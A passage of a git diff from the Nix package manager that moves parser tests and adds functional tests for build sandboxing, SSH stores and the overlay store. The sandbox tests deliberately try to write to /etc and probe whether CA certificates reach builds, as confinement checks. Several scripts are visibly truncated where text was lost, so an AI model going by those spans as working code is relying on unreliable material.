+ 9| inherit gcc; + | ^ + 10| }).gcc; diff --git a/tests/lang/parse-fail-regression-20060610.nix b/tests/functional/lang/parse-fail-regression-20060610.nix similarity index 100% rename from tests/lang/parse-fail-regression-20060610.nix rename to tests/functional/lang/parse-fail-regression-20060610.nix diff --git a/tests/functional/lang/parse-fail-undef-var-2.err.exp b/tests/functional/lang/parse-fail-undef-var-2.err.exp new file mode 100644 index 000000000..96e87b2aa --- /dev/null +++ b/tests/functional/lang/parse-fail-undef-var-2.err.exp @@ -0,0 +1,6 @@ +error: syntax error, unexpected ':', expecting '}' or ',' + at «stdin»:3:13: + 2| + 3| f = {x, y : ["baz" "bar" z "bat"]}: x + y; + | ^ + 4| diff --git a/tests/lang/parse-fail-undef-var-2.nix b/tests/functional/lang/parse-fail-undef-var-2.nix similarity index 100% rename from tests/lang/parse-fail-undef-var-2.nix rename to tests/functional/lang/parse-fail-undef-var-2.nix diff --git a/tests/functional/lang/parse-fail-undef-var.err.exp b/tests/functional/lang/parse-fail-undef-var.err.exp new file mode 100644 index 000000000..3d143d9af --- /dev/null +++ b/tests/functional/lang/parse-fail-undef-var.err.exp @@ -0,0 +1,5 @@ +error: undefined variable 'y' + at «stdin»:1:4: + 1| x: y + | ^ + 2| diff --git a/tests/lang/parse-fail-undef-var.nix b/tests/functional/lang/parse-fail-undef-var.nix similarity index 100% rename from tests/lang/parse-fail-undef-var.nix rename to tests/functional/lang/parse-fail-undef-var.nix diff --git a/tests/functional/lang/parse-fail-utf8.err.exp b/tests/functional/lang/parse-fail-utf8.err.exp new file mode 100644 index 000000000..1c83f6eb3 --- /dev/null +++ b/tests/functional/lang/parse-fail-utf8.err.exp @@ -0,0 +1,5 @@ +error: syntax error, unexpected invalid token, expecting end of file + at «stdin»:1:5: + 1| 123 é 4 + | ^ + 2| diff --git a/tests/lang/parse-fail-uft8.nix b/tests/functional/lang/parse-fail-utf8.nix similarity index 100% rename from tests/lang/parse-fail-uft8.nix rename to tests/functional/lang/parse-fail-utf8.nix diff --git a/tests/functional/lang/parse-okay-1.exp b/tests/functional/lang/parse-okay-1.exp new file mode 100644 index 000000000..d5ab5f18a --- /dev/null +++ b/tests/functional/lang/parse-okay-1.exp @@ -0,0 +1 @@ +({ x, y, z }: ((x + y) + z)) diff --git a/tests/lang/parse-okay-1.nix b/tests/functional/lang/parse-okay-1.nix similarity index 100% rename from tests/lang/parse-okay-1.nix rename to tests/functional/lang/parse-okay-1.nix diff --git a/tests/functional/lang/parse-okay-crlf.exp b/tests/functional/lang/parse-okay-crlf.exp new file mode 100644 index 000000000..4213609fc --- /dev/null +++ b/tests/functional/lang/parse-okay-crlf.exp @@ -0,0 +1 @@ +rec { foo = "multi\nline\n string\n test\r"; x = y; y = 123; z = 456; } diff --git a/tests/lang/parse-okay-crlf.nix b/tests/functional/lang/parse-okay-crlf.nix similarity index 100% rename from tests/lang/parse-okay-crlf.nix rename to tests/functional/lang/parse-okay-crlf.nix diff --git a/tests/functional/lang/parse-okay-dup-attrs-5.exp b/tests/functional/lang/parse-okay-dup-attrs-5.exp new file mode 100644 index 000000000..88b0b036f --- /dev/null +++ b/tests/functional/lang/parse-okay-dup-attrs-5.exp @@ -0,0 +1 @@ +{ services = { ssh = { enable = true; port = 23; }; }; } diff --git a/tests/lang/parse-okay-dup-attrs-5.nix b/tests/functional/lang/parse-okay-dup-attrs-5.nix similarity index 100% rename from tests/lang/parse-okay-dup-attrs-5.nix rename to tests/functional/lang/parse-okay-dup-attrs-5.nix diff --git a/tests/functional/lang/parse-okay-dup-attrs-6.exp b/tests/functional/lang/parse-okay-dup-attrs-6.exp new file mode 100644 index 000000000..88b0b036f --- /dev/null +++ b/tests/functional/lang/parse-okay-dup-attrs-6.exp @@ -0,0 +1 @@ +{ services = { ssh = { enable = true; port = 23; }; }; } diff --git a/tests/lang/parse-okay-dup-attrs-6.nix b/tests/functional/lang/parse-okay-dup-attrs-6.nix similarity index 100% rename from tests/lang/parse-okay-dup-attrs-6.nix rename to tests/functional/lang/parse-okay-dup-attrs-6.nix diff --git a/tests/functional/lang/parse-okay-ind-string.exp b/tests/functional/lang/parse-okay-ind-string.exp new file mode 100644 index 000000000..82e9940a2 --- /dev/null +++ b/tests/functional/lang/parse-okay-ind-string.exp @@ -0,0 +1 @@ +(let string = "str"; in [ (/some/path) ((/some/path)) ((/some/path)) ((/some/path + "\n end")) (string) ((string)) ((string)) ((string + "\n end")) ("") ("") ("end") ]) diff --git a/tests/functional/lang/parse-okay-ind-string.nix b/tests/functional/lang/parse-okay-ind-string.nix new file mode 100644 index 000000000..97c9de3cd --- /dev/null +++ b/tests/functional/lang/parse-okay-ind-string.nix @@ -0,0 +1,31 @@ +let + string = "str"; +in [ + /some/path + + ''${/some/path}'' + + '' + ${/some/path}'' + + ''${/some/path} + end'' + + string + + ''${string}'' + + '' + ${string}'' + + ''${string} + end'' + + '''' + + '' + '' + + '' + end'' +] diff --git a/tests/functional/lang/parse-okay-inherits.exp b/tests/functional/lang/parse-okay-inherits.exp new file mode 100644 index 000000000..1355527e6 --- /dev/null +++ b/tests/functional/lang/parse-okay-inherits.exp @@ -0,0 +1 @@ +(let b = 2; c = { }; in { inherit b; inherit (c) d e; a = 1; f = 3; }) diff --git a/tests/functional/lang/parse-okay-inherits.nix b/tests/functional/lang/parse-okay-inherits.nix new file mode 100644 index 000000000..10596c8ad --- /dev/null +++ b/tests/functional/lang/parse-okay-inherits.nix @@ -0,0 +1,9 @@ +let + c = {}; + b = 2; +in { + a = 1; + inherit b; + inherit (c) d e; + f = 3; +} diff --git a/tests/functional/lang/parse-okay-mixed-nested-attrs-1.exp b/tests/functional/lang/parse-okay-mixed-nested-attrs-1.exp new file mode 100644 index 000000000..89c66f760 --- /dev/null +++ b/tests/functional/lang/parse-okay-mixed-nested-attrs-1.exp @@ -0,0 +1 @@ +{ x = { q = 3; y = 3; z = 3; }; } diff --git a/tests/lang/parse-okay-mixed-nested-attrs-1.nix b/tests/functional/lang/parse-okay-mixed-nested-attrs-1.nix similarity index 100% rename from tests/lang/parse-okay-mixed-nested-attrs-1.nix rename to tests/functional/lang/parse-okay-mixed-nested-attrs-1.nix diff --git a/tests/functional/lang/parse-okay-mixed-nested-attrs-2.exp b/tests/functional/lang/parse-okay-mixed-nested-attrs-2.exp new file mode 100644 index 000000000..89c66f760 --- /dev/null +++ b/tests/functional/lang/parse-okay-mixed-nested-attrs-2.exp @@ -0,0 +1 @@ +{ x = { q = 3; y = 3; z = 3; }; } diff --git a/tests/lang/parse-okay-mixed-nested-attrs-2.nix b/tests/functional/lang/parse-okay-mixed-nested-attrs-2.nix similarity index 100% rename from tests/lang/parse-okay-mixed-nested-attrs-2.nix rename to tests/functional/lang/parse-okay-mixed-nested-attrs-2.nix diff --git a/tests/functional/lang/parse-okay-mixed-nested-attrs-3.exp b/tests/functional/lang/parse-okay-mixed-nested-attrs-3.exp new file mode 100644 index 000000000..b89a59734 --- /dev/null +++ b/tests/functional/lang/parse-okay-mixed-nested-attrs-3.exp @@ -0,0 +1 @@ +{ services = { httpd = { enable = true; }; ssh = { enable = true; port = 123; }; }; } diff --git a/tests/lang/parse-okay-mixed-nested-attrs-3.nix b/tests/functional/lang/parse-okay-mixed-nested-attrs-3.nix similarity index 100% rename from tests/lang/parse-okay-mixed-nested-attrs-3.nix rename to tests/functional/lang/parse-okay-mixed-nested-attrs-3.nix diff --git a/tests/functional/lang/parse-okay-regression-20041027.exp b/tests/functional/lang/parse-okay-regression-20041027.exp new file mode 100644 index 000000000..9df7219e4 --- /dev/null +++ b/tests/functional/lang/parse-okay-regression-20041027.exp @@ -0,0 +1 @@ +({ fetchurl, stdenv }: ((stdenv).mkDerivation { name = "libXi-6.0.1"; src = (fetchurl { md5 = "7e935a42428d63a387b3c048be0f2756"; url = "http://freedesktop.org/~xlibs/release/libXi-6.0.1.tar.bz2"; }); })) diff --git a/tests/lang/parse-okay-regression-20041027.nix b/tests/functional/lang/parse-okay-regression-20041027.nix similarity index 100% rename from tests/lang/parse-okay-regression-20041027.nix rename to tests/functional/lang/parse-okay-regression-20041027.nix diff --git a/tests/functional/lang/parse-okay-regression-751.exp b/tests/functional/lang/parse-okay-regression-751.exp new file mode 100644 index 000000000..e2ed886fe --- /dev/null +++ b/tests/functional/lang/parse-okay-regression-751.exp @@ -0,0 +1 @@ +(let const = (a: "const"); in ((const { x = "q"; }))) diff --git a/tests/lang/parse-okay-regression-751.nix b/tests/functional/lang/parse-okay-regression-751.nix similarity index 100% rename from tests/lang/parse-okay-regression-751.nix rename to tests/functional/lang/parse-okay-regression-751.nix diff --git a/tests/functional/lang/parse-okay-subversion.exp b/tests/functional/lang/parse-okay-subversion.exp new file mode 100644 index 000000000..32fbba3c5 --- /dev/null +++ b/tests/functional/lang/parse-okay-subversion.exp @@ -0,0 +1 @@ +({ db4 ? null, expat, fetchurl, httpServer ? false, httpd ? null, j2sdk ? null, javaSwigBindings ? false, javahlBindings ? false, localServer ? false, openssl ? null, pythonBindings ? false, sslSupport ? false, stdenv, swig ? null }: assert (expat != null); assert (localServer -> (db4 != null)); assert (httpServer -> ((httpd != null) && ((httpd).expat == expat))); assert (sslSupport -> ((openssl != null) && (httpServer -> ((httpd).openssl == openssl)))); assert (pythonBindings -> ((swig != null) && (swig).pythonSupport)); assert (javaSwigBindings -> ((swig != null) && (swig).javaSupport)); assert (javahlBindings -> (j2sdk != null)); ((stdenv).mkDerivation { inherit expat httpServer javaSwigBindings javahlBindings localServer pythonBindings sslSupport; builder = /foo/bar; db4 = (if localServer then db4 else null); httpd = (if httpServer then httpd else null); j2sdk = (if javaSwigBindings then (swig).j2sdk else (if javahlBindings then j2sdk else null)); name = "subversion-1.1.1"; openssl = (if sslSupport then openssl else null); patches = (if javahlBindings then [ (/javahl.patch) ] else [ ]); python = (if pythonBindings then (swig).python else null); src = (fetchurl { md5 = "a180c3fe91680389c210c99def54d9e0"; url = "http://subversion.tigris.org/tarballs/subversion-1.1.1.tar.bz2"; }); swig = (if (pythonBindings || javaSwigBindings) then swig else null); })) diff --git a/tests/lang/parse-okay-subversion.nix b/tests/functional/lang/parse-okay-subversion.nix similarity index 100% rename from tests/lang/parse-okay-subversion.nix rename to tests/functional/lang/parse-okay-subversion.nix diff --git a/tests/functional/lang/parse-okay-url.exp b/tests/functional/lang/parse-okay-url.exp new file mode 100644 index 000000000..e5f0829b0 --- /dev/null +++ b/tests/functional/lang/parse-okay-url.exp @@ -0,0 +1 @@ +[ ("x:x") ("https://svn.cs.uu.nl:12443/repos/trace/trunk") ("http://www2.mplayerhq.hu/MPlayer/releases/fonts/font-arial-iso-8859-1.tar.bz2") ("http://losser.st-lab.cs.uu.nl/~armijn/.nix/gcc-3.3.4-static-nix.tar.gz") ("http://fpdownload.macromedia.com/get/shockwave/flash/english/linux/7.0r25/install_flash_player_7_linux.tar.gz") ("https://ftp5.gwdg.de/pub/linux/archlinux/extra/os/x86_64/unzip-6.0-14-x86_64.pkg.tar.zst") ("ftp://ftp.gtk.org/pub/gtk/v1.2/gtk+-1.2.10.tar.gz") ] diff --git a/tests/lang/parse-okay-url.nix b/tests/functional/lang/parse-okay-url.nix similarity index 100% rename from tests/lang/parse-okay-url.nix rename to tests/functional/lang/parse-okay-url.nix diff --git a/tests/lang/readDir/foo/git-hates-directories b/tests/functional/lang/readDir/bar similarity index 100% rename from tests/lang/readDir/foo/git-hates-directories rename to tests/functional/lang/readDir/bar diff --git a/tests/functional/lang/readDir/foo/git-hates-directories b/tests/functional/lang/readDir/foo/git-hates-directories new file mode 100644 index 000000000..e69de29bb diff --git a/tests/functional/lang/readDir/ldir b/tests/functional/lang/readDir/ldir new file mode 120000 index 000000000..191028156 --- /dev/null +++ b/tests/functional/lang/readDir/ldir @@ -0,0 +1 @@ +foo \ No newline at end of file diff --git a/tests/functional/lang/readDir/linked b/tests/functional/lang/readDir/linked new file mode 120000 index 000000000..c503f86a0 --- /dev/null +++ b/tests/functional/lang/readDir/linked @@ -0,0 +1 @@ +foo/git-hates-directories \ No newline at end of file diff --git a/tests/functional/lang/symlink-resolution/broken b/tests/functional/lang/symlink-resolution/broken new file mode 120000 index 000000000..e07da690b --- /dev/null +++ b/tests/functional/lang/symlink-resolution/broken @@ -0,0 +1 @@ +nonexistent \ No newline at end of file diff --git a/tests/functional/lang/symlink-resolution/foo/lib/default.nix b/tests/functional/lang/symlink-resolution/foo/lib/default.nix new file mode 100644 index 000000000..8b8441b91 --- /dev/null +++ b/tests/functional/lang/symlink-resolution/foo/lib/default.nix @@ -0,0 +1 @@ +"test" diff --git a/tests/functional/lang/symlink-resolution/foo/overlays b/tests/functional/lang/symlink-resolution/foo/overlays new file mode 120000 index 000000000..0d44a21c5 --- /dev/null +++ b/tests/functional/lang/symlink-resolution/foo/overlays @@ -0,0 +1 @@ +../overlays \ No newline at end of file diff --git a/tests/functional/lang/symlink-resolution/overlays/overlay.nix b/tests/functional/lang/symlink-resolution/overlays/overlay.nix new file mode 100644 index 000000000..b0368308e --- /dev/null +++ b/tests/functional/lang/symlink-resolution/overlays/overlay.nix @@ -0,0 +1 @@ +import ../lib diff --git a/tests/functional/legacy-ssh-store.sh b/tests/functional/legacy-ssh-store.sh new file mode 100755 index 000000000..3a1a7b022 --- /dev/null +++ b/tests/functional/legacy-ssh-store.sh @@ -0,0 +1,11 @@ +#!/usr/bin/env bash + +source common.sh + +store_uri="ssh://localhost?remote-store=$TEST_ROOT/other-store" + +# Check that store info trusted doesn't yet work with ssh:// +nix --store "$store_uri" store info --json | jq -e 'has("trusted") | not' + +# Suppress grumpiness about multiple nixes on PATH +(nix --store "$store_uri" doctor || true) 2>&1 | grep "doesn't have a notion of trusted user" diff --git a/tests/functional/linux-sandbox-cert-test.nix b/tests/functional/linux-sandbox-cert-test.nix new file mode 100644 index 000000000..2fc083ea9 --- /dev/null +++ b/tests/functional/linux-sandbox-cert-test.nix @@ -0,0 +1,30 @@ +{ mode }: + +with import ./config.nix; + +mkDerivation ( + { + name = "ssl-export"; + buildCommand = '' + # Add some indirection, otherwise grepping into the debug output finds the string. + report () { echo CERT_$1_IN_SANDBOX; } + + if [ -f /etc/ssl/certs/ca-certificates.crt ]; then + content=$( $TEST_ROOT/log +grepQuietInverse 'error: renaming' $TEST_ROOT/log +grepQuiet 'may not be deterministic' $TEST_ROOT/log + +# Test that sandboxed builds cannot write to /etc easily +# `100` means build failure without extra info, see doc/manual/src/command-ref/status-build-failure.md +expectStderr 100 nix-sandbox-build -E 'with import ./config.nix; mkDerivation { name = "etc-write"; buildCommand = "echo > /etc/test"; }' | + grepQuiet "/etc/test: Permission denied" + + +## Test mounting of SSL certificates into the sandbox +testCert () { + expectation=$1 # "missing" | "present" + mode=$2 # "normal" | "fixed-output" + certFile=$3 # a string that can be the path to a cert file + # `100` means build failure without extra info, see doc/manual/src/command-ref/status-build-failure.md + [ "$mode" == fixed-output ] && ret=1 || ret=100 + expectStderr $ret nix-sandbox-build linux-sandbox-cert-test.nix --argstr mode "$mode" --option ssl-cert-file "$certFile" | + grepQuiet "CERT_${expectation}_IN_SANDBOX" +} + +nocert=$TEST_ROOT/no-cert-file.pem +cert=$TEST_ROOT/some-cert-file.pem +symlinkcert=$TEST_ROOT/symlink-cert-file.pem +transitivesymlinkcert=$TEST_ROOT/transitive-symlink-cert-file.pem +symlinkDir=$TEST_ROOT/symlink-dir +echo -n "CERT_CONTENT" > $cert +ln -s $cert $symlinkcert +ln -s $symlinkcert $transitivesymlinkcert +ln -s $TEST_ROOT $symlinkDir + +# No cert in sandbox when not a fixed-output derivation +testCert missing normal "$cert" + +# No cert in sandbox when ssl-cert-file is empty +testCert missing fixed-output "" + +# No cert in sandbox when ssl-cert-file is a nonexistent file +testCert missing fixed-output "$nocert" + +# Cert in sandbox when ssl-cert-file is set to an existing file +testCert present fixed-output "$cert" + +# Cert in sandbox when ssl-cert-file is set to a (potentially transitive) symlink to an existing file +testCert present fixed-output "$symlinkcert" +testCert present fixed-output "$transitivesymlinkcert" + +# Symlinks should be added in the sandbox directly and not followed +nix-sandbox-build symlink-derivation.nix -A depends_on_symlink +nix-sandbox-build symlink-derivation.nix -A test_sandbox_paths \ + --option extra-sandbox-paths "/file=$cert" \ + --option extra-sandbox-paths "/dir=$TEST_ROOT" \ + --option extra-sandbox-paths "/symlinkDir=$symlinkDir" \ + --option extra-sandbox-paths "/symlink=$symlinkcert" diff --git a/tests/functional/local-overlay-store/add-lower-inner.sh b/tests/functional/local-overlay-store/add-lower-inner.sh new file mode 100755 index 000000000..4efa7d088 --- /dev/null +++ b/tests/functional/local-overlay-store/add-lower-inner.sh @@ -0,0 +1,31 @@ +#!/usr/bin/env bash + +set -eu -o pipefail + +set -x + +source common.sh + +# Avoid store dir being inside sandbox build-dir +unset NIX_STORE_DIR +unset NIX_STATE_DIR + +setupStoreDirs + +initLowerStore + +mountOverlayfs + +# Add something to the overlay store +overlayPath=$(addTextToStore "$storeB" "overlay-file" "Add to overlay store") +stat "$storeBRoot/$overlayPath" + +# Now add something to the lower store +lowerPath=$(addTextToStore "$storeA" "lower-file" "Add to lower store") +stat "$storeVolume/store-a/$lowerPath" + +# Remount overlayfs to ensure synchronization +remountOverlayfs + +# Path should be accessible via overlay store +stat "$storeBRoot/$lowerPath" diff --git a/tests/functional/local-overlay-store/add-lower.sh b/tests/functional/local-overlay-store/add-lower.sh new file mode 100755 index 000000000..33bf20ebd --- /dev/null +++ b/tests/functional/local-overlay-store/add-lower.sh @@ -0,0 +1,6 @@ +source common.sh +source ../common/init.sh + +requireEnvironment +setupConfig +execUnshare ./add-lower-inner.sh diff --git a/tests/functional/local-overlay-store/bad-uris.sh b/tests/functional/local-overlay-store/bad-uris.sh new file mode 100644 index 000000000..b7930e32e --- /dev/null +++ b/tests/functional/local-overlay-store/bad-uris.sh @@ -0,0 +1,28 @@ +source common.sh +source ../common/init.sh + +requireEnvironment +setupConfig +setupStoreDirs + +mkdir -p $TEST_ROOT/bad_test +badTestRoot=$TEST_ROOT/bad_test +storeBadRoot="local-overlay://?root=$badTestRoot&lower-store=$storeA&upper-layer=$storeBTop" +storeBadLower="local-overlay://?root=$storeBRoot&lower-store=$badTestRoot&upper-layer=$storeBTop" +storeBadUpper="local-overlay://?root=$storeBRoot&lower-store=$storeA&upper-layer=$badTestRoot" + +declare -a storesBad=( + "$storeBadRoot" "$storeBadLower" "$storeBadUpper" +) + +TODO_NixOS + +for i in "${storesBad[@]}"; do + echo $i + unshare --mount --map-root-user bash <> "$test_nix_conf" +} + +setupConfig () { + addConfig "require-drop-supplementary-groups = false" + addConfig "build-users-group = " + enableFeatures "local-overlay-store" +} + +setupStoreDirs () { + # Attempt to create store dirs on tmpfs volume. + # This ensures lowerdir, upperdir and workdir will be on + # a consistent filesystem that fully supports OverlayFS. + storeVolume="$TEST_ROOT/stores" + mkdir -p "$storeVolume" + mount -t tmpfs tmpfs "$storeVolume" || true # But continue anyway if that fails. + + storeA="$storeVolume/store-a" + storeBTop="$storeVolume/store-b" + storeBRoot="$storeVolume/merged-store" + storeB="local-overlay://?root=$storeBRoot&lower-store=$storeA&upper-layer=$storeBTop" + # Creating testing directories + mkdir -p "$storeVolume"/{store-a/nix/store,store-b,merged-store/nix/store,workdir} +} + +# Mounting Overlay Store +mountOverlayfs () { + mount -t overlay overlay \ + -o lowerdir="$storeA/nix/store" \ + -o upperdir="$storeBTop" \ + -o workdir="$storeVolume/workdir" \ + "$storeBRoot/nix/store" \ + || skipTest "overlayfs is not supported" + + cleanupOverlay () { + umount -n "$storeBRoot/nix/store" + rm -r $storeVolume/workdir + } + trap cleanupOverlay EXIT +} + +remountOverlayfs () { + mount -o remount "$storeBRoot/nix/store" +} + +toRealPath () { + storeDir=$1; shift + storePath=$1; shift + echo $storeDir$(echo $storePath | sed "s^${NIX_STORE_DIR:-/nix/store}^^") +} + +initLowerStore () { + # Init lower store with some stuff + nix-store --store "$storeA" --add ../dummy + + # Build something in lower store + drvPath=$(nix-instantiate --store $storeA ../hermetic.nix --arg withFinalRefs true --arg busybox "$busybox" --arg seed 1) + pathInLowerStore=$(nix-store --store "$storeA" --realise $drvPath) +} + +execUnshare () { + exec unshare --mount --map-root-user "$SHELL" "$@" +} + +addTextToStore() { + storeDir=$1; shift + filename=$1; shift + content=$1; shift + filePath="$TEST_HOME/$filename" + echo "$content" > "$filePath" + nix-store --store "$storeDir" --add "$filePath" +} diff --git a/tests/functional/local-overlay-store/delete-duplicate-inner.sh b/tests/functional/local-overlay-store/delete-duplicate-inner.sh new file mode 100644 index 000000000..4f3ff25bd --- /dev/null +++ b/tests/functional/local-overlay-store/delete-duplicate-inner.sh @@ -0,0 +1,38 @@ +#!/usr/bin/env bash + +set -eu -o pipefail + +set -x + +source common.sh + +# Avoid store dir being inside sandbox build-dir +unset NIX_STORE_DIR +unset NIX_STATE_DIR + +setupStoreDirs + +initLowerStore + +mountOverlayfs + +# Add to overlay before lower to ensure file is duplicated +upperPath=$(nix-store --store "$storeB" --add delete-duplicate.sh) +lowerPath=$(nix-store --store "$storeA" --add delete-duplicate.sh) +[[ "$upperPath" = "$lowerPath" ]] + +# Check there really are two files with different inodes +upperInode=$(stat -c %i "$storeBRoot/$upperPath") +lowerInode=$(stat -c %i "$storeA/$lowerPath") +[[ "$upperInode" != "$lowerInode" ]] + +# Now delete file via the overlay store +nix-store --store "$storeB&remount-hook=$PWD/remount.sh" --delete "$upperPath" + +# Check there is no longer a file in upper layer +expect 1 stat "$storeBTop/${upperPath##/nix/store/}" + +# Check that overlay file is now the one in lower layer +upperInode=$(stat -c %i "$storeBRoot/$upperPath") +lowerInode=$(stat -c %i "$storeA/$lowerPath") +[[ "$upperInode" = "$lowerInode" ]] diff --git a/tests/functional/local-overlay-store/delete-duplicate.sh b/tests/functional/local-overlay-store/delete-duplicate.sh new file mode 100644 index 000000000..e3b94e1cb --- /dev/null +++ b/tests/functional/local-overlay-store/delete-duplicate.sh @@ -0,0 +1,6 @@ +source common.sh +source ../common/init.sh + +requireEnvironment +setupConfig +execUnshare ./delete-duplicate-inner.sh diff --git a/tests/functional/local-overlay-store/delete-refs-inner.sh b/tests/functional/local-overlay-store/delete-refs-inner.sh new file mode 100644 index 000000000..385eeadc9 --- /dev/null +++ b/tests/functional/local-overlay-store/delete-refs-inner.sh @@ -0,0 +1,39 @@ +#!/usr/bin/env bash + +set -eu -o pipefail + +source common.sh + +# Avoid store dir being inside sandbox build-dir +unset NIX_STORE_DIR +unset NIX_STATE_DIR + +setupStoreDirs + +initLowerStore + +mountOverlayfs + +export NIX_REMOTE="$storeB" +stateB="$storeBRoot/nix/var/nix" +hermetic=$(nix-build ../hermetic.nix --no-out-link --arg busybox "$busybox" --arg withFinalRefs true --arg seed 2) +input1=$(nix-build ../hermetic.nix --no-out-link --arg busybox "$busybox" --arg withFinalRefs true --arg seed 2 -A passthru.input1 -j0) +input2=$(nix-build ../hermetic.nix --no-out-link --arg busybox "$busybox" --arg withFinalRefs true --arg seed 2 -A passthru.input2 -j0) +input3=$(nix-build ../hermetic.nix --no-out-link --arg busybox "$busybox" --arg withFinalRefs true --arg seed 2 -A passthru.input3 -j0) + +# Can't delete because referenced +expectStderr 1 nix-store --delete $input1 | grepQuiet "Cannot delete path" +expectStderr 1 nix-store --delete $input2 | grepQuiet "Cannot delete path" +expectStderr 1 nix-store --delete $input3 | grepQuiet "Cannot delete path" + +# These same paths are referenced in the lower layer (by the seed 1 +# build done in `initLowerStore`). +expectStderr 1 nix-store --store "$storeA" --delete $input2 | grepQuiet "Cannot delete path" +expectStderr 1 nix-store --store "$storeA" --delete $input3 | grepQuiet "Cannot delete path" + +# Can delete +nix-store --delete $hermetic + +# Now unreferenced in upper layer, can delete +nix-store --delete $input3 +nix-store --delete $input2 diff --git a/tests/functional/local-overlay-store/delete-refs.sh b/tests/functional/local-overlay-store/delete-refs.sh new file mode 100755 index 000000000..62295aaa1 --- /dev/null +++ b/tests/functional/local-overlay-store/delete-refs.sh @@ -0,0 +1,6 @@ +source common.sh +source ../common/init.sh + +requireEnvironment +setupConfig +execUnshare ./delete-refs-inner.sh diff --git a/tests/functional/local-overlay-store/gc-inner.sh b/tests/functional/local-overlay-store/gc-inner.sh new file mode 100644 index 000000000..687fed897 --- /dev/null +++ b/tests/functional/local-overlay-store/gc-inner.sh @@ -0,0 +1,57 @@ +#!/usr/bin/env bash + +set -eu -o pipefail + +source common.sh + +# Avoid store dir being inside sandbox build-dir +unset NIX_STORE_DIR +unset NIX_STATE_DIR + +setupStoreDirs + +initLowerStore + +mountOverlayfs + +export NIX_REMOTE="$storeB" +stateB="$storeBRoot/nix/var/nix" +outPath=$(nix-build ../hermetic.nix --no-out-link --arg busybox "$busybox" --arg seed 2) + +# Set a GC root. +mkdir -p "$stateB" +rm -f "$stateB/gcroots/foo" +ln -sf $outPath "$stateB/gcroots/foo" + +[ "$(nix-store -q --roots $outPath)" = "$stateB/gcroots/foo -> $outPath" ] + +nix-store --gc --print-roots | grep $outPath +nix-store --gc --print-live | grep $outPath +if nix-store --gc --print-dead | grep -E $outPath$; then false; fi + +nix-store --gc --print-dead + +expect 1 nix-store --delete $outPath +test -e "$storeBRoot/$outPath" + +shopt -s nullglob +for i in $storeBRoot/*; do + if [[ $i =~ /trash ]]; then continue; fi # compat with old daemon + touch $i.lock + touch $i.chroot +done + +nix-collect-garbage + +# Check that the root and its dependencies haven't been deleted. +cat "$storeBRoot/$outPath" + +rm "$stateB/gcroots/foo" + +nix-collect-garbage + +# Check that the output has been GC'd. +test ! -e $outPath + +# Check that the store is empty. +[ "$(ls -1 "$storeBTop" | wc -l)" = "0" ] diff --git a/tests/functional/local-overlay-store/gc.sh b/tests/functional/local-overlay-store/gc.sh new file mode 100755 index 000000000..f3420d0b8 --- /dev/null +++ b/tests/functional/local-overlay-store/gc.sh @@ -0,0 +1,6 @@ +source common.sh +source ../common/init.sh + +requireEnvironment +setupConfig +execUnshare ./gc-inner.sh diff --git a/tests/functional/local-overlay-store/local.mk b/tests/functional/local-overlay-store/local.mk new file mode 100644 index 000000000..6348a4423 --- /dev/null +++ b/tests/functional/local-overlay-store/local.mk @@ -0,0 +1,14 @@ +local-overlay-store-tests := \ + $(d)/check-post-init.sh \ + $(d)/redundant-add.sh \ + $(d)/build.sh \ + $(d)/bad-uris.sh \ + $(d)/add-lower.sh \ + $(d)/delete-refs.sh \ + $(d)/delete-duplicate.sh \ + $(d)/gc.sh \ + $(d)/verify.sh \ + $(d)/optimise.sh \ + $(d)/stale-file-handle.sh + +install-tests-groups += local-overlay-store diff --git a/tests/functional/local-overlay-store/meson.build b/tests/functional/local-overlay-store/meson.build new file mode 100644 index 000000000..6ff5d3169 --- /dev/null +++ b/tests/functional/local-overlay-store/meson.build @@ -0,0 +1,18 @@ +suites += { + 'name': 'local-overlay-store', + 'deps': [], + 'tests': [ + 'check-post-init.sh', + 'redundant-add.sh', + 'build.sh', + 'bad-uris.sh', + 'add-lower.sh', + 'delete-refs.sh', + 'delete-duplicate.sh', + 'gc.sh', + 'verify.sh', + 'optimise.sh', + 'stale-file-handle.sh', + ], + 'workdir': meson.current_build_dir(), +} diff --git a/tests/functional/local-overlay-store/optimise-inner.sh b/tests/functional/local-overlay-store/optimise-inner.sh new file mode 100755 index 000000000..eafbc77f7 --- /dev/null +++ b/tests/functional/local-overlay-store/optimise-inner.sh @@ -0,0 +1,51 @@ +#!/usr/bin/env bash + +set -eu -o pipefail + +set -x + +source common.sh + +# Avoid store dir being inside sandbox build-dir +unset NIX_STORE_DIR +unset NIX_STATE_DIR + +setupStoreDirs + +initLowerStore + +mountOverlayfs + +# Create a file to add to store +dupFilePath="$TEST_ROOT/dup-file" +echo Duplicate > "$dupFilePath" + +# Add it to the overlay store (it will be written to the upper layer) +dupFileStorePath=$(nix-store --store "$storeB" --add "$dupFilePath") + +# Now add it to the lower store so the store path is duplicated +nix-store --store "$storeA" --add "$dupFilePath" + +# Ensure overlayfs and layers and synchronised +remountOverlayfs + +dupFilename="${dupFileStorePath#/nix/store}" +lowerPath="$storeA/$dupFileStorePath" +upperPath="$storeBTop/$dupFilename" +overlayPath="$storeBRoot/nix/store/$dupFilename" + +# Check store path exists in both layers and overlay +lowerInode=$(stat -c %i "$lowerPath") +upperInode=$(stat -c %i "$upperPath") +overlayInode=$(stat -c %i "$overlayPath") +[[ $upperInode == $overlayInode ]] +[[ $upperInode != $lowerInode ]] + +# Run optimise to deduplicate store paths +nix-store --store "$storeB" --optimise +remountOverlayfs + +# Check path only exists in lower store +stat "$lowerPath" +stat "$overlayPath" +expect 1 stat "$upperPath" diff --git a/tests/functional/local-overlay-store/optimise.sh b/tests/functional/local-overlay-store/optimise.sh new file mode 100755 index 000000000..a524a675e --- /dev/null +++ b/tests/functional/local-overlay-store/optimise.sh @@ -0,0 +1,6 @@ +source common.sh +source ../common/init.sh + +requireEnvironment +setupConfig +execUnshare ./optimise-inner.sh diff --git a/tests/functional/local-overlay-store/redundant-add-inner.sh b/tests/functional/local-overlay-store/redundant-add-inner.sh new file mode 100755 index 000000000..e37ef90e5 --- /dev/null +++ b/tests/functional/local-overlay-store/redundant-add-inner.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash + +set -eu -o pipefail + +set -x + +source common.sh + +# Avoid store dir being inside sandbox build-dir +unset NIX_STORE_DIR +unset NIX_STATE_DIR + +setupStoreDirs + +initLowerStore + +mountOverlayfs + +### Do a redundant add + +# (Already done in `initLowerStore`, but repeated here for clarity.) +pathInLowerStore=$(nix-store --store "$storeA" --add ../dummy) + +# upper layer should not have it +expect 1 stat $(toRealPath "$storeBTop/nix/store" "$pathInLowerStore") + +pathFromB=$(nix-store --store "$storeB" 